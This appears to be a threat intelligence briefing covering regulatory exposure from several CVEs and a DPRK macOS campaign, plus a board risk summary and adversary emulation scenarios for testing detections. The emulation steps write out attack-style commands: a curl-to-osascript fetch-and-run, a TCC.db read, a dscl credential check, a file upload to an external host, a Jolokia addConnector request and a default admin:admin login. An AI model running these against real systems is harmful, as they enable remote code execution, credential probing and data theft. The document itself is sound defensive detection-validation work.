GDPR / NIS2: Exploitation of SharePoint spoofing flaw in environments hosting personal data may constitute a personal data breach requiring notification.
FCEB / BOD 22-01: CVE-2026-32201 and CVE-2023-21529 carry April 27, 2026 FCEB remediation deadlines. Non-compliance from today is a governance gap.
Apache ActiveMQ CVE-2026-34197
FCEB / BOD 22-01: FCEB patch deadline April 30, 2026. Federal agencies and contractors must document compliance.
GDPR / NIS2 / HIPAA: ActiveMQ is embedded in many data pipeline and integration architectures. Exploitation could expose data transiting the broker — assess whether PII, PHI, or financial data passes through ActiveMQ instances in scope.
Data pipeline risk: Many organizations are unaware that ActiveMQ runs in their environment — it is frequently a transitive dependency of middleware frameworks. Asset discovery is a governance prerequisite here.
Sapphire Sleet macOS Campaign
GDPR / DPDP: Exfiltration of employee credentials, session tokens, and Apple Notes content likely constitutes a personal data breach. If any organizational data was captured in Apple Notes or browser sessions, this is a reportable incident in most jurisdictions.
Financial regulation (SEBI, FCA, SEC): For crypto, VC, and financial sector organizations, exfiltration of client data, trading credentials, or wallet keys may trigger mandatory notification under sector-specific financial regulation.
No recovery path: Organizations must communicate clearly to affected individuals that stolen cryptocurrency cannot be recovered. This is a qualitatively different risk from a password breach.
Board-Level Risk Summary
Today's risk picture is defined by five concurrent exploitation clusters spanning perimeter security infrastructure (Fortinet), enterprise collaboration and networking (Microsoft), enterprise messaging middleware (Apache ActiveMQ), endpoint browsers (Chrome), and a live DPRK state-actor campaign targeting cryptocurrency assets. The absence of a single named victim or headline breach should not create complacency — the CISA KEV listings confirm that exploitation is happening; the absence of victim reporting reflects reporting lag, not absence of impact.
Three questions for the board:
Have we confirmed that our Fortinet estate is patched and FortiCloud SSO audit has been completed for rogue accounts since January 2026?
Are our emergency patching SLAs for KEV-listed, actively exploited CVEs shorter than the CISA-mandated deadlines — or are we relying on federal deadlines as our de-facto patch schedule?
Do our employees in cryptocurrency, finance, and technology roles understand that a fake LinkedIn recruiter message is now a credible nation-state attack vector — and do our macOS endpoints have the controls in place to detect it?
CISO decision framework:
Escalate Fortinet remediation and log review as a board-visible risk program where Fortinet gear protects critical or regulated services
Approve emergency change windows for SharePoint, Windows IKE, and Exchange this weekend — do not defer to the next scheduled maintenance cycle
Mandate that asset discovery includes ActiveMQ instances in all middleware and integration environments before April 30 deadline
Issue targeted employee security awareness communication for macOS users in cryptocurrency and finance roles within 24 hours
Chapter 06 - Adversary Emulation
Emulation Scenario A — Sapphire Sleet macOS: Social Engineering to Full Compromise
Objective: Validate macOS endpoint detection coverage against Sapphire Sleet TTPs before the actor reaches production environments.
Prerequisites: macOS test endpoint with EDR deployed; SIEM receiving endpoint telemetry; isolated network segment; approved change control.
Emulation steps (controlled environment only):
Initial Access (T1204.002 + T1059.002): Create a benign
.scptfile with quarantine attribute set (xattr -w com.apple.quarantine "0083;..." test.scpt). Open in Script Editor. Validate: Does your EDR alert on Script Editor spawning child processes with network connectivity? Does your SIEM Rule SS-MAC-001 fire?C2 Simulation (T1059.002): Execute
curl -A "mac-cur1" http://your-test-server/stage1.txt | osascriptfrom a test terminal. Validate: Does SIEM Rule SS-MAC-002 trigger on themac-cur1user-agent? Does your proxy/DNS logging capture the request?Persistence simulation (T1547.011): Create a test plist at
/Library/LaunchDaemons/com.google.webkit.testonly.plistfrom a non-Apple-signed process. Validate: Does SIEM Rule SS-MAC-003 fire? Is the LaunchDaemon creation logged in your EDR?TCC.db access simulation (T1562.001): Execute
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db ".tables"from a test process. Validate: Does SIEM Rule SS-MAC-004 detect the access?Credential validation simulation (T1056.002): Execute
dscl . -authonly testuser wrongpasswordfrom a non-system process. Validate: Does SIEM Rule SS-MAC-005 trigger?Exfiltration simulation (T1041): Create a test ZIP file and attempt upload to a test server on port 8443 using curl with
--upload-file. Validate: Does your DLP or network monitoring alert on compressed file upload to non-approved external host?
Expected detection coverage if rules are deployed: Rules SS-MAC-001 through SS-MAC-005 should fire on steps 1–5. Network rules should fire on steps 2 and 6. Gap expected: TCC.db modification (step 4) may not be captured if your EDR does not have file event monitoring enabled for that path.
Emulation Scenario B — CVE-2026-34197: ActiveMQ Jolokia Exploitation
Objective: Validate detection of Jolokia API abuse before real exploitation.
Prerequisites: Lab ActiveMQ instance (never production); WAF/web proxy with logging; SIEM receiving web server logs.
Emulation steps:
Send a POST request to
/api/jolokia/on the lab instance withaddConnectorin the body (do not include a real remote URI — use a loopback address). Validate: Does SIEM Rule AMQ-001 fire?From the lab instance's process context, execute a benign command (e.g.,
touch /tmp/test_rce_emulation). Validate: Does your EDR alert on the Java/ActiveMQ process spawning a child shell?Attempt a login to the lab ActiveMQ console using
admin:admin. Validate: Does your credential monitoring alert on default credential use?
Expected gap: Most environments do not have WAF coverage on internal ActiveMQ instances. This emulation will frequently reveal that Jolokia exploitation would be completely undetected — treat as a priority detection gap if confirmed.
Emulation Scenario C — Fortinet FortiCloud SSO: Admin Account Audit
Objective: Validate retrospective detection capability for CVE-2026-24858.
This is not active red team — it is a detection audit:
Query your SIEM/log management for all Fortinet admin account creation events from January 15, 2026 to present.
Cross-reference each account creation against your IAM system (AD, LDAP, or identity provider) — any account not matching a known team member is a finding.
For each SSO-sourced admin login in the same period, validate the source IP against your known admin IP allow-list — any unrecognized source IP is a finding requiring investigation.
If findings exist: treat as a potential CVE-2026-24858 exploitation incident and escalate to IR.
